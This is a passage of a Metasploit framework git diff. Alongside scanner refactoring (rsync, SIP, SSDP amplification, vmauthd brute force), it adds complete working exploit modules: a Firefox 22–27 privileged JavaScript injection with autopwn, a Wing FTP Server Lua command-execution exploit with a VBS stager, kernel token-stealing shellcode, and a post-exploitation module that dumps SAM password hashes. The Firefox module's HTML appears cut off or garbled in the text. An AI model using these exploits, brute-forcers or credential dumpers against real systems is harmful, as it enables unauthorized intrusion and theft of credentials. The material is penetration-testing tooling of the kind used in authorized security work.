'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb index 8c2f716f8d..44b3bbc56d 100644 --- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary ) peer = "#{k}:#{rport}" - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb new file mode 100644 index 0000000000..a318fc13e7 --- /dev/null +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -0,0 +1,67 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Rsync Unauthenticated List Command', + 'Description' => 'List all (listable) modules from a rsync daemon', + 'Author' => 'ikkini', + 'References' => + [ + ['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html'] + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(873) + ], self.class) + end + + def run_host(ip) + connect + version = sock.get_once + + print_good("#{ip}:#{rport} - rsync #{version.strip} found") + report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync') + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_version', + :data => version.strip + ) + + # making sure we match the version of the server + sock.puts("#{version}") + # the listing command + sock.puts("\n") + listing = sock.get(20) + disconnect + + return if listing.blank? + + print_good("#{ip}:#{rport} - rsync listing found") + listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message + listing_sanitized = Rex::Text.to_hex_ascii(listing.strip) + + vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}") + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_listing', + :data => listing_sanitized + ) + end +end diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index b8cd0d8a44..ebf466ff4c 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -3,14 +3,13 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary - + include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::UDPScanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), - Opt::RPORT(5060), - Opt::CHOST, - Opt::CPORT(5060) + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), + Opt::RPORT(5060) ], self.class) end - - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i + def scanner_prescan(batch) + print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @res = {} end - # Operate on an entire batch of hosts at once - def run_batch(batch) - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( - { - 'LocalHost' => datastore['CHOST'] || nil, - 'LocalPort' => datastore['CPORT'].to_i, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - } - ) - add_socket(udp_sock) - - batch.each do |ip| - data = create_probe(ip) - - begin - udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.01) and r[1]) - parse_reply(r) - end - end - - idx += 1 - end - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - ensure - udp_sock.close if udp_sock - end + def scan_host(ip) + scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT']) end - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - resp = pkt[0].split(/\s+/)[1] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(pkt[0] =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(pkt[0] =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(pkt[0] =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => pkt[1], - :type => 'sip_useragent', - :data => agent - ) - end + def scanner_process(data, shost, _) + report_response(data, shost, 'udp') end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['CPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Content-Length: 0\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - end - - end diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index d4fb1f0b56..60746418be 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -6,10 +6,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), Opt::RPORT(5060) ], self.class) end # Operate on a single system at a time def run_host(ip) - begin - idx = 0 - connect - sock.put(create_probe(ip)) + sock.put(create_probe(ip, 'tcp')) res = sock.get_once(-1, 5) - parse_reply(res) if res - + report_response(res, rhost, 'tcp') if res rescue ::Interrupt - raise $! + raise $ERROR_INFO ensure disconnect end end - - # - # The response parser - # - def parse_reply(resp) - - rcode = resp.split(/\s+/)[0] - agent = '' - verbs = '' - serv = '' - prox = '' - - if(resp =~ /^User-Agent:\s*(.*)$/i) - agent = "agent='#{$1.strip}' " - end - - if(resp =~ /^Allow:\s+(.*)$/i) - verbs = "verbs='#{$1.strip}' " - end - - if(resp =~ /^Server:\s+(.*)$/) - serv = "server='#{$1.strip}' " - end - - if(resp =~ /^Proxy-Require:\s+(.*)$/) - serv = "proxy-required='#{$1.strip}' " - end - - print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}") - - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'sip' - ) - - if(not agent.empty?) - report_note( - :host => rhost, - :type => 'sip_useragent', - :data => agent - ) - end - end - - def create_probe(ip) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(ip) - src = "#{shost}:#{datastore['RPORT']}" - - data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" - data << "To: sip:#{datastore['TO']}@#{ip}\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" - data << "CSeq: 1 OPTIONS\r\n" - data << "Contact: sip:#{suser}@#{src}\r\n" - data << "Max-Forwards: 20\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Accept: text/plain\r\n" - data << "Content-Length: 0\r\n" - data << "\r\n" - data - end - - end diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb index 13dc8bd129..272d675d61 100644 --- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', 'Description' => %q{ - This module checks for the OpenSSL ChageCipherSpec (CCS) + This module checks for the OpenSSL ChangeCipherSpec (CCS) Injection vulnerability. The problem exists in the handling of early - CCS messages during session negotation. Vulnerable installations of OpenSSL accepts + CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts them, while later implementations do not. If successful, an attacker can leverage this vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec between a client and server. This issue was first reported in early June, 2014. @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(ccs) alert = sock.get_once(-1, response_timeout) if alert.blank? - print_good("#{peer} - No alert after invalid CSS message, probably vulnerable") + print_good("#{peer} - No alert after invalid CCS message, probably vulnerable") report elsif alert.unpack("C").first == ALERT_RECORD_TYPE vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb new file mode 100644 index 0000000000..2dfab6ea49 --- /dev/null +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner', + 'Description' => 'Discover SSDP amplification possibilities', + 'Author' => ['xistence '], # Original scanner module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ], + ) + + register_options([ + Opt::RPORT(1900), + OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false]) + ], self.class) + end + + def setup + super + # SSDP packet containing the "ST:ssdp:all" search query + if datastore['short'] + # Short packet doesn't contain Host, MX and last \r\n + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n" + else + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n" + end + end + + def scanner_prescan(batch) + print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} + end + + def scan_host(ip) + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end + + def scanner_process(data, shost, sport) + if data =~ /HTTP\/\d\.\d 200/ + @results[shost] ||= [] + @results[shost] << data + else + vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}") + end + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @msearch_probe => @results[k] } + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'ssdp' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map) + what = 'SSDP ssdp:all M-SEARCH amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index be29c48519..b8904638d1 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core/exploit/tcp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vmauthd' class Metasploit3 < Msf::Auxiliary @@ -33,103 +35,67 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) + print_brute :ip => ip, :msg => 'Starting bruteforce' + + # Peform a sanity check to ensure that our target is vmauthd before + # attempting to brute force it. begin - - connect rescue nil - if not self.sock - print_error "#{rhost}:#{rport} Could not connect to vmauthd" - return - end - - banner = sock.get_once(-1, 10) - if not banner - print_error "#{rhost}:#{rport} No banner received from vmauthd" - return - end - - banner = banner.strip - print_status "#{rhost}:#{rport} Banner: #{banner}" - - unless banner =~ /VMware Authentication Daemon/ - print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" - return - end - - if banner =~ /SSL/ - print_status("#{rhost}:#{rport} Switching to SSL connection...") - swap_sock_plain_to_ssl - end - - each_user_pass do |user, pass| - result = do_login(user, pass) - case result - when :failed - print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}") - when :success - print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'vmauthd', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return if datastore['STOP_ON_SUCCESS'] - else - print_error("#{rhost}:#{rport} Error: #{result}") + connect rescue nil + if !self.sock + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + return + end + banner = sock.get_once(-1, 10) + if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/ + print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service' + return end - end - rescue ::Interrupt - raise $! + rescue ::Interrupt + raise $ERROR_INFO ensure disconnect end - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) - def do_login(user, pass, nsock=self.sock) - nsock.put("USER #{user}\r\n") - res = nsock.get_once - unless res.start_with? "331" - ret_msg = "Unexpected reply to the USER command: #{res}" - return ret_msg - end - nsock.put("PASS #{pass}\r\n") - res = nsock.get_once || '' - if res.start_with? "530" - return :failed - elsif res.start_with? "230" - return :success - else - ret_msg = "Unexpected reply to the PASS command: #{res}" - return ret_msg + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" + invalidate_login(credential_data) + end end end - - def swap_sock_plain_to_ssl(nsock=self.sock) - ctx = generate_ssl_context() - ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) - - ssl.connect - - nsock.extend(Rex::Socket::SslTcp) - nsock.sslsock = ssl - nsock.sslctx = ctx - end - - def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) - @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ } - - ctx.key = @@cached_rsa_key - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx - end - - end diff --git a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb index a8d467dcf5..78b0c0b6c9 100644 --- a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb +++ b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb @@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => "May 14 2013", 'References' => [ - ['CVE', '2013-1670'], # privileged access for content-level constructor - ['CVE', '2013-1710'] # further chrome injection + ['CVE', '2013-1710'] # chrome injection ], 'Targets' => [ [ diff --git a/modules/exploits/multi/browser/firefox_webidl_injection.rb b/modules/exploits/multi/browser/firefox_webidl_injection.rb new file mode 100644 index 0000000000..135eeb6e76 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_webidl_injection.rb @@ -0,0 +1,151 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_maxver => "22.0", + :ua_maxver => "27.0", + :javascript => true, + :rank => ExcellentRanking + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox WebIDL Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 22-27 by abusing two + separate privilege escalation vulnerabilities in Firefox's Javascript + APIs. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # metasploit module + ], + 'DisclosureDate' => "Mar 17 2014", + 'References' => [ + ['CVE', '2014-1510'], # open chrome:// url in iframe + ['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(22, 27) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML .", "" ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + data_uri = "data:text/html, + #{datastore['CONTENT']} + + + | + end +end + diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 78ff27d987..1b138f48c7 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection", + 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", 'Description' => %q{ This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and @@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote paths = desktop_central_db_paths if paths.empty? - paths = check_password_manager_pro + paths = password_manager_paths end paths diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index 3a307826ae..bef9804ec2 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote p << payload.encoded block = p block << rand_text_alpha(1024 - 80 - p.length) - block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt + block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt block << rand_text_alpha(1024 - block.length) buf = '' diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb new file mode 100644 index 0000000000..30e7b1e71f --- /dev/null +++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wing FTP Server Authenticated Command Execution', + 'Description' => %q{ + This module exploits the embedded Lua interpreter in the admin web interface for + versions 4.3.8 and below. When supplying a specially crafted HTTP POST request + an attacker can use os.execute() to execute arbitrary system commands on + the target with SYSTEM privileges. + }, + 'Author' => + [ + 'Nicholas Nam ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.wftpserver.com' ] + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows VBS Stager', {} ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Jun 19 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(5466), + OptString.new('USERNAME', [true, 'Admin username', '']), + OptString.new('PASSWORD', [true, 'Admin password', '']) + ], self.class + ) + deregister_options('CMDSTAGER::FLAVOR') + end + + def check + res = send_request_cgi( + { + 'uri' => '/admin_login.html', + 'method' => 'GET' + }) + + if !res + fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") + elsif res.code != 200 + fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.") + elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 wftpserver.com<\/b>/ + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + @session_cookie = authenticate(username, password) + + print_status("#{peer} - Sending payload") + # Execute the cmdstager, max length of the commands is ~1500 + execute_cmdstager(flavor: :vbs, linemax: 1500) + end + + def execute_command(cmd, _opts = {}) + command = "os.execute('cmd /c #{cmd}')" + + res = send_request_cgi( + 'uri' => '/admin_lua_script.html', + 'method' => 'POST', + 'cookie' => @session_cookie, + 'vars_post' => { 'command' => command } + ) + + if res && res.code != 200 + fail_with(Failure::Unkown, "#{peer} - Something went wrong.") + end + end + + def authenticate(username, password) + print_status("#{peer} - Authenticating") + res = send_request_cgi( + 'uri' => '/admin_loginok.html', + 'method' => 'POST', + 'vars_post' => { + 'username' => username, + 'password' => password, + 'username_val' => username, + 'password_val' => password, + 'submit_btn' => '+Login+' + } + ) + + uidadmin = '' + if !res + fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") + elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/ + res.get_cookies.split(';').each do |cookie| + cookie.split(',').each do |value| + uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/ + end + end + else + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + "UIDADMIN=#{uidadmin}" + end +end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 597f7e0123..d30b17b25f 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -51,9 +51,9 @@ class Metasploit3 < Msf::Exploit::Local ], 'References' => [ - %w(CVE 2014-4971), - %w(EDB 34112), - %w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt) + ['CVE', '2014-4971'], + ['EDB', '34112'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt'] ], 'DisclosureDate' => 'Jul 22 2014', 'DefaultTarget' => 0 @@ -150,6 +150,7 @@ class Metasploit3 < Msf::Exploit::Local restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) + this_proc.memory.write(0x1, shellcode) this_proc.close diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index a2d433c632..b1cb72e4bd 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post session.core.use("incognito") if not session.incognito # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + begin + hashes = client.priv.sam_hashes + rescue + print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?') + return + end # Target infos for the db record - addr = client.sock.peerhost + addr = session.session_host # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # Record hashes to the running db instance print_good "Collecting hashes..." hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = 445 - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - if not session.db_record.nil? - data[:source_id] = session.db_record.id - end - data[:source_type] = "exploit", - data[:active] = true + # Build service information + service_data = { + address: addr, + port: 445, + service_name: 'smb', + protocol: 'tcp', + } - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - report_auth_info(data) if db_ok + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: hash.lanman + ":" + hash.ntlm, + username: hash.user_name, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}" end # Record user tokens diff --git a/script/cucumber b/script/cucumber new file mode 100755 index 0000000000..7fa5c92086 --- /dev/null +++ b/script/cucumber @@ -0,0 +1,10 @@ +#!/usr/bin/env ruby + +vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +if vendored_cucumber_bin + load File.expand_path(vendored_cucumber_bin) +else + require 'rubygems' unless ENV['NO_RUBYGEMS'] + require 'cucumber' + load Cucumber::BINARY +end diff --git a/spec/factories/mdm/exported_web_vulns.rb b/spec/factories/mdm/exported_web_vulns.rb index 06ea041459..0e97fa6b6e 100644 --- a/spec/factories/mdm/exported_web_vulns.rb +++ b/spec/factories/mdm/exported_web_vulns.rb @@ -11,4 +11,4 @@ FactoryGirl.define do sequence :mdm_web_vuln_description do |n| "Mdm::WebVuln#description #{n}" end -end \ No newline at end of file +end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 4981482cca..c67f200128 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -6,4 +6,4 @@ FactoryGirl.modify do } end end -end \ No newline at end of file +end diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 8febb6deb7..a782633786 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -44,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end context 'in thread with connection' do - it { should be_true } + it { should be_truthy } end context 'in thread without connection' do it 'should be false' do thread = Thread.new do Thread.current.should_not == main_thread - expect(active_connection?).to be_false + expect(active_connection?).to be_falsey end thread.join @@ -97,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true + 